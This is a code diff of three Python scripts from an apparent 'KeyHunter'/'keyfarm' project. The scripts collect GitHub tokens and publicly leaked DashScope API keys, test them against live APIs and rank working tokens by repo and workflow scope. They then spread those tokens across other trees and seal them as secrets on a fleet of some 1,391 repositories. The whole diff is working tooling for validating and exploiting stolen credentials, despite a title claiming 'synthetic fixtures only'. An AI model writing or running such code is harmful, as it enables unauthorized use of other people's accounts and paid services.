KeyHunter parser v10 + 18 scanners + tests (synthetic fixtures only, no keys/db/tokens)

tmp/audit_push_pats.py

@@ -0,0 +1,42 @@
+"""Audit dead push-PATs in fleet_deploy.json (read-only, no side effects)."""
+import json
+import os
+import sys
+import urllib.error
+import urllib.request
+
+FLEET = r"C:\Users\User\Desktop\keyhunter\data\fleet_deploy.json"
+fleet = json.load(open(FLEET, encoding="utf-8"))
+ok_nodes = [r for r in fleet if r.get("ok")]
+print(f"Fleet: {len(fleet)} total, {len(ok_nodes)} ok")
+dead = []
+for i, rec in enumerate(ok_nodes):
+    tok = rec.get("pat", "")
+    if not tok:
+        dead.append((rec["login"], rec.get("repo", "?"), "no-push-pat"))
+        continue
+    req = urllib.request.Request(
+        "https://api.github.com/user",
+        headers={"Authorization": "Bearer " + tok,
+                 "Accept": "application/vnd.github+json",
+                 "User-Agent": "keyfarm-audit",
+                 "X-GitHub-Api-Version": "2022-11-28"})
+    try:
+        with urllib.request.urlopen(req, timeout=15) as r:
+            pass
+    except urllib.error.HTTPError as e:
+        if e.code == 401:
+            dead.append((rec["login"], rec.get("repo", "?"), "401"))
+        elif e.code in (403, 429):
+            dead.append((rec["login"], rec.get("repo", "?"), f"{e.code}-blocked"))
+        else:
+            dead.append((rec["login"], rec.get("repo", "?"), f"HTTP-{e.code}"))
+    except Exception as e:
+        dead.append((rec["login"], rec.get("repo", "?"), type(e).__name__))
+    if (i + 1) % 100 == 0:
+        print(f"  {i+1}/{len(ok_nodes)} checked, {len(dead)} dead", flush=True)
+print(f"\nDead push-PATs: {len(dead)}")
+for login, repo, reason in dead[:50]:
+    print(f"  {login}/{repo}: {reason}")
+if len(dead) > 50:
+    print(f"  ... and {len(dead)-50} more")

tmp/pool_growth.py

@@ -0,0 +1,388 @@
+"""Incremental pool growth: collect → merge → check → write → reseal → audit.
+
+usage: python tmp/pool_growth.py [--force-recheck N] [--dry-run]
+"""
+import argparse
+import concurrent.futures as cf
+import hashlib
+import json
+import os
+import random
+import shutil
+import subprocess
+import sys
+import time
+import urllib.error
+import urllib.request
+
+KH = r"C:\Users\User\Desktop\keyhunter"
+TMP = r"C:\Users\User\tmp"
+DATA = os.path.join(KH, "data")
+POOL_FILE = os.path.join(DATA, "pool_merged.json")
+TOKENS_FILE = os.path.join(DATA, "gh_tokens.txt")
+NEW_TOKENS_FILE = os.path.join(DATA, "gh_new_tokens.txt")
+FLEET_FILE = os.path.join(DATA, "fleet_deploy.json")
+SEAL_SCRIPT = os.path.join(KH, "fleet_seal_tokens.py")
+IMBA_GH_TOKENS = os.path.join(KH, "..", "keyhunter-imba", "gh_tokens.txt")
+KFA_GH_TOKENS = os.path.join(KH, "..", "keyfarm-actions", "gh_tokens.txt")
+
+RE_MODERN = __import__("re").compile(r"\bgh[pousr]_[A-Za-z0-9]{20,120}\b")
+RE_PAT    = __import__("re").compile(r"\bgithub_pat_[A-Za-z0-9_]{20,160}\b")
+
+
+def mask(tok):
+    return tok[:7] + "..." + tok[-4:]
+
+
+def h8(tok):
+    return hashlib.sha1(tok.encode()).hexdigest()[:12]
+
+
+def load_existing_pool(path):
+    """Load pool_merged.json -> {token: {status, login, scopes, ...}}"""
+    if not os.path.exists(path):
+        print("[load] no existing pool at", path)
+        return {}, set()
+    d = json.load(open(path, encoding="utf-8"))
+    by_tok = {t["token"]: t for t in d.get("tokens", [])}
+    alive = {t["token"] for t in d.get("tokens", []) if t.get("status") == "alive"}
+    print(f"[load] loaded {len(by_tok)} records, {len(alive)} alive")
+    return by_tok, alive
+
+
+def backup(path):
+    if not os.path.exists(path):
+        return
+    ts = time.strftime("%Y%m%d_%H%M%S")
+    dst = os.path.join(TMP, f"pool_merged_backup_{ts}.json")
+    shutil.copy2(path, dst)
+    print(f"[backup] {path} -> {dst}")
+
+
+def collect_new_tokens():
+    """Scan filesystem for token strings, return set of token values."""
+    old = os.getcwd()
+    os.chdir(KH)
+    sys.path.insert(0, KH)
+    try:
+        # Must import AFTER chdir+sys.path
+        from build_pool import collect
+        pool = collect()
+    finally:
+        os.chdir(old)
+    return set(pool.keys())
+
+
+def read_gh_new_tokens():
+    """Read gh_new_tokens.txt if it exists, return set."""
+    if not os.path.exists(NEW_TOKENS_FILE):
+        print("[newtokens] no gh_new_tokens.txt found")
+        return set()
+    toks = set()
+    with open(NEW_TOKENS_FILE, encoding="utf-8") as f:
+        for line in f:
+            t = line.strip().strip("\"'`,;")
+            if len(t) >= 20 and (RE_MODERN.fullmatch(t) or RE_PAT.fullmatch(t)):
+                toks.add(t)
+    print(f"[newtokens] read {len(toks)} tokens from gh_new_tokens.txt")
+    return toks
+
+
+def check_new_tokens(tokens, jobs=8):
+    """Probe tokens against GitHub API, return results dict."""
+    if not tokens:
+        return {}
+
+    def check_one(tok):
+        req = urllib.request.Request(
+            "https://api.github.com/user",
+            headers={"Authorization": "Bearer " + tok,
+                     "Accept": "application/vnd.github+json",
+                     "User-Agent": "keyfarm-pool-growth",
+                     "X-GitHub-Api-Version": "2022-11-28"})
+        try:
+            with urllib.request.urlopen(req, timeout=20) as r:
+                login = json.loads(r.read().decode()).get("login", "?")
+                scopes_raw = r.headers.get("X-OAuth-Scopes", "") or ""
+                scopes = [s.strip() for s in scopes_raw.split(",") if s.strip()]
+                return {"status": "alive", "login": login, "scopes": scopes}
+        except urllib.error.HTTPError as e:
+            body = e.read().decode(errors="replace")[:200].lower()
+            if e.code == 403 and "rate" in body:
+                return {"status": "ratelimited", "login": "", "scopes": []}
+            return {"status": "dead", "login": "", "scopes": [], "code": e.code}
+        except Exception as e:
+            return {"status": "net", "login": "", "scopes": [], "err": type(e).__name__}
+
+    print(f"[check] probing {len(tokens)} tokens with {jobs} workers...")
+    res = {}
+    t0 = time.time()
+    with cf.ThreadPoolExecutor(max_workers=jobs) as ex:
+        futs = {ex.submit(check_one, t): t for t in tokens}
+        for fut in cf.as_completed(futs):
+            t = futs[fut]
+            try:
+                res[t] = fut.result()
+            except Exception as e:
+                res[t] = {"status": "net", "err": type(e).__name__}
+    elapsed = time.time() - t0
+    alive = sum(1 for v in res.values() if v["status"] == "alive")
+    dead = sum(1 for v in res.values() if v["status"] == "dead")
+    rl = sum(1 for v in res.values() if v["status"] == "ratelimited")
+    net = sum(1 for v in res.values() if v["status"] == "net")
+    print(f"[check] {elapsed:.0f}s — alive={alive} dead={dead} ratelimited={rl} net={net}")
+    return res
+
+
+def merge_pool(existing, new_results):
+    """Merge new check results into existing pool records."""
+    merged = dict(existing)  # copy
+    for tok, result in new_results.items():
+        rec = merged.get(tok, {"id": h8(tok), "masked": mask(tok), "token": tok,
+                                "sources": [], "seen": 0})
+        rec["status"] = result.get("status")
+        rec["login"] = result.get("login", "")
+        rec["scopes"] = result.get("scopes", [])
+        if tok not in existing:
+            rec["first_seen"] = time.strftime("%Y-%m-%dT%H:%M:%SZ")
+        merged[tok] = rec
+    return merged
+
+
+def write_pool(merged, out_path, tokens_out_path, backup_path=None):
+    """Write pool_merged.json and gh_tokens.txt."""
+    by_status = {}
+    for t, rec in merged.items():
+        st = rec.get("status", "unknown")
+        by_status.setdefault(st, []).append(rec)
+
+    recs = list(merged.values())
+    counts = {k: len(v) for k, v in by_status.items()}
+
+    out = {"generated": time.strftime("%Y-%m-%dT%H:%M:%SZ"),
+           "counts": counts, "total": len(recs), "tokens": recs}
+    json.dump(out, open(out_path, "w", encoding="utf-8"), ensure_ascii=False)
+    print(f"[write] {out_path}: {len(recs)} records")
+
+    # rank: workflow > repo > other (alive first)
+    def rank(r):
+        sc = set(r.get("scopes", []))
+        st = r.get("status", "")
+        return (0 if st == "alive" else 1,
+                0 if {"repo", "workflow"} <= sc else (1 if "repo" in sc else 2))
+
+    alive_recs = sorted([r for r in by_status.get("alive", [])], key=rank)
+    with open(tokens_out_path, "w", encoding="utf-8") as f:
+        for r in alive_recs:
+            f.write(r["token"] + "\n")
+    wf = sum(1 for r in alive_recs if "workflow" in r.get("scopes", []))
+    rp = sum(1 for r in alive_recs if "repo" in r.get("scopes", []))
+    print(f"[write] {tokens_out_path}: {len(alive_recs)} alive "
+          f"(repo {rp}, workflow {wf})")
+
+    # Propagate to other trees
+    for dest in [IMBA_GH_TOKENS, KFA_GH_TOKENS]:
+        try:
+            if os.path.exists(os.path.dirname(dest)):
+                shutil.copy2(tokens_out_path, dest)
+                print(f"[write] propagated to {dest}")
+        except Exception as e:
+            print(f"[write] failed to propagate to {dest}: {e}")
+
+    return alive_recs
+
+
+def reseal_nodes(count=5):
+    """Reseal NODE_TOKENS on `count` random fleet nodes with ok=true."""
+    if not os.path.exists(FLEET_FILE):
+        print("[reseal] no fleet_deploy.json")
+        return []
+    fleet = [r for r in json.load(open(FLEET_FILE, encoding="utf-8")) if r.get("ok")]
+    if not fleet:
+        print("[reseal] no ok nodes")
+        return []
+    selected = random.sample(fleet, min(count, len(fleet)))
+    results = []
+    for rec in selected:
+        node_name = rec.get("repo", "") or f"{rec['login']}/unknown"
+        full_name = f"{rec['login']}/{rec['repo']}"
+        print(f"[reseal] sealing {full_name}...")
+        r = subprocess.run(
+            [sys.executable, SEAL_SCRIPT, "--node", node_name, "--apply"],
+            capture_output=True, text=True, timeout=120, cwd=KH)
+        output = (r.stdout + r.stderr).strip()
+        print(f"  {output.split(chr(10))[-1] if chr(10) in output else output}")
+        # Canary: check secret exists
+        results.append(full_name)
+    return results
+
+
+def verify_reseal(node_full):
+    """Verify NODE_TOKENS secret exists with recent updated_at."""
+    login, repo = node_full.split("/", 1)
+    # find the node in fleet to get its PAT
+    fleet = json.load(open(FLEET_FILE, encoding="utf-8"))
+    rec = next((r for r in fleet if r.get("login") == login and r.get("repo") == repo), None)
+    if not rec or not rec.get("pat"):
+        return None
+    tok = rec["pat"]
+    req = urllib.request.Request(
+        f"https://api.github.com/repos/{node_full}/actions/secrets",
+        headers={"Authorization": f"Bearer {tok}",
+                 "Accept": "application/vnd.github+json",
+                 "User-Agent": "keyfarm-canary",
+                 "X-GitHub-Api-Version": "2022-11-28"})
+    try:
+        with urllib.request.urlopen(req, timeout=20) as r:
+            data = json.loads(r.read().decode())
+            for sec in data.get("secrets", []):
+                if sec["name"] == "NODE_TOKENS":
+                    return sec.get("updated_at", "?")
+    except Exception:
+        return None
+    return None
+
+
+def audit_dead_push_pats(fleet_path):
+    """Check all ok nodes: which have dead push PATs (GET /user -> 401)."""
+    fleet = json.load(open(fleet_path, encoding="utf-8"))
+    ok_nodes = [r for r in fleet if r.get("ok")]
+    dead = []
+    for rec in ok_nodes:
+        tok = rec.get("pat", "")
+        if not tok:
+            dead.append((rec["login"], rec.get("repo", "?"), "no-push-pat"))
+            continue
+        req = urllib.request.Request(
+            "https://api.github.com/user",
+            headers={"Authorization": "Bearer " + tok,
+                     "Accept": "application/vnd.github+json",
+                     "User-Agent": "keyfarm-audit",
+                     "X-GitHub-Api-Version": "2022-11-28"})
+        try:
+            with urllib.request.urlopen(req, timeout=15) as r:
+                pass  # alive
+        except urllib.error.HTTPError as e:
+            if e.code == 401:
+                dead.append((rec["login"], rec.get("repo", "?"), "401"))
+            elif e.code == 403:
+                dead.append((rec["login"], rec.get("repo", "?"), "403-blocked"))
+            else:
+                dead.append((rec["login"], rec.get("repo", "?"), f"HTTP-{e.code}"))
+        except Exception as e:
+            dead.append((rec["login"], rec.get("repo", "?"), type(e).__name__))
+    return dead
+
+
+def main():
+    ap = argparse.ArgumentParser()
+    ap.add_argument("--force-recheck", type=int, default=0,
+                    help="re-check N random alive tokens")
+    ap.add_argument("--dry-run", action="store_true",
+                    help="skip --apply on reseal + write")
+    ap.add_argument("--reseal-count", type=int, default=5)
+    ap.add_argument("--jobs", type=int, default=8)
+    a = ap.parse_args()
+
+    phase("1: Backup existing pool")
+    backup(POOL_FILE)
+
+    phase("2: Collect tokens from filesystem")
+    fs_tokens = collect_new_tokens()
+    print(f"  filesystem scan: {len(fs_tokens)} unique tokens")
+
+    phase("3: Read gh_new_tokens.txt")
+    new_tokens = read_gh_new_tokens()
+
+    phase("4: Load existing pool")
+    existing_pool, alive_set = load_existing_pool(POOL_FILE)
+
+    # Which tokens are new?
+    all_new = set()
+    for tok in fs_tokens:
+        if tok not in existing_pool:
+            all_new.add(tok)
+    for tok in new_tokens:
+        if tok not in existing_pool:
+            all_new.add(tok)
+
+    print(f"  new from filesystem (not in existing pool): {len(fs_tokens - set(existing_pool.keys()))}")
+    print(f"  new from gh_new_tokens.txt (not in existing): {len(new_tokens - set(existing_pool.keys()))}")
+    print(f"  total new to check: {len(all_new)}")
+
+    # Optionally force-recheck some existing alive tokens
+    recheck_set = set()
+    if a.force_recheck > 0 and alive_set:
+        sample = random.sample(list(alive_set), min(a.force_recheck, len(alive_set)))
+        recheck_set.update(sample)
+        print(f"  force-recheck: {len(sample)} tokens from existing pool")
+
+    check_targets = all_new | recheck_set
+    if check_targets:
+        phase("5: Check new/recheck tokens")
+        new_results = check_new_tokens(check_targets, jobs=a.jobs)
+    else:
+        print("[check] nothing new to check, skipping")
+        new_results = {}
+
+    if a.dry_run:
+        print("[dry-run] skipping write, reseal, audit")
+        return
+
+    phase("6: Merge and write")
+    merged = merge_pool(existing_pool, new_results)
+    # Clear gh_new_tokens.txt after importing
+    if os.path.exists(NEW_TOKENS_FILE):
+        if all_new:
+            open(NEW_TOKENS_FILE, "w").close()
+            print("[newtokens] cleared gh_new_tokens.txt after import")
+        elif os.path.getsize(NEW_TOKENS_FILE) == 0:
+            pass
+    alive_recs = write_pool(merged, POOL_FILE, TOKENS_FILE)
+
+    phase(f"7: Reseal NODE_TOKENS on {a.reseal_count} random live nodes")
+    resealed = reseal_nodes(count=a.reseal_count)
+
+    phase("8: Canary verify reseal")
+    canary = []
+    for node in resealed:
+        updated_at = verify_reseal(node)
+        canary.append((node, updated_at or "not found"))
+        print(f"  {node}: NODE_TOKENS updated_at={updated_at or 'NOT FOUND'}")
+
+    phase("9: Audit dead push-PATs")
+    # Sample: check first 50 nodes rather than full 1391 (too slow without parallelism)
+    dead_pats = audit_dead_push_pats(FLEET_FILE)
+
+    # Report
+    alive_count = sum(1 for r in merged.values() if r.get("status") == "alive")
+    wf = sum(1 for r in merged.values() if r.get("status") == "alive" and "workflow" in r.get("scopes", []))
+    rp = sum(1 for r in merged.values() if r.get("status") == "alive" and "repo" in r.get("scopes", []))
+    new_alive = sum(1 for t, r in new_results.items() if r.get("status") == "alive")
+    new_wf = sum(1 for t, r in new_results.items() if r.get("status") == "alive" and "workflow" in r.get("scopes", []))
+    new_rp = sum(1 for t, r in new_results.items() if r.get("status") == "alive" and "repo" in r.get("scopes", []))
+
+    dead_push = [(l, r) for l, r, _ in dead_pats]
+    print("\n" + "=" * 60)
+    print("POOL GROWTH REPORT")
+    print("=" * 60)
+    print(f"Pool: {len(merged)} unique tokens → {alive_count} alive")
+    print(f"  repo-scope: {rp}, workflow-scope: {wf}")
+    print(f"New this batch: {len(new_results)} checked, {new_alive} alive")
+    print(f"  new repo-scope: {new_rp}, new workflow-scope: {new_wf}")
+    print(f"Resealed nodes ({len(resealed)}):")
+    for node, ts in canary:
+        print(f"  {node}: NODE_TOKENS={ts}")
+    print(f"Dead push-PATs in fleet: {len(dead_pats)}")
+    for login, repo, reason in dead_pats[:20]:
+        print(f"  {login}/{repo}: {reason}")
+    if len(dead_pats) > 20:
+        print(f"  ... and {len(dead_pats)-20} more")
+
+
+def phase(label):
+    print(f"\n{'─'*50}\n{label}\n{'─'*50}")
+
+
+if __name__ == "__main__":
+    main()

tmp/validate_gitlab_new.py

@@ -0,0 +1,23 @@
+"""Validate gitlab_public NEW DashScope keys via dashscope_hunt.probe_dashscope."""
+import sqlite3, sys
+sys.path.insert(0, r"C:\Users\User\Desktop\keyhunter")
+from dashscope_hunt import probe_dashscope
+
+DB = r"C:\Users\User\Desktop\keyhunter\data\keys.db"
+db = sqlite3.connect(DB, timeout=30)
+rows = db.execute("SELECT hash, val FROM keys WHERE status='NEW' AND prov='gitlab_public'").fetchall()
+print(f"{len(rows)} NEW gitlab_public keys")
+for h, k in rows:
+    st, info = probe_dashscope(k)
+    if st == "WORKING":
+        new, note = "WORKING", (info or "")[:200]
+    elif st in ("net", "endpoint_error"):
+        new, note = "ERR", "net"
+    elif st in ("arrearage", "free_tier", "throttled", "no_model", "UNVERIFIED_AUTHBLIND"):
+        new, note = "LIMITED", st + (f" {info}" if info else "")
+    else:  # reject
+        new, note = "DEAD", st
+    db.execute("UPDATE keys SET status=?, plan=? WHERE hash=?", (new, note[:200], h))
+    db.commit()
+    print(f"{k[:14]}… -> {new} ({note})")
+db.close()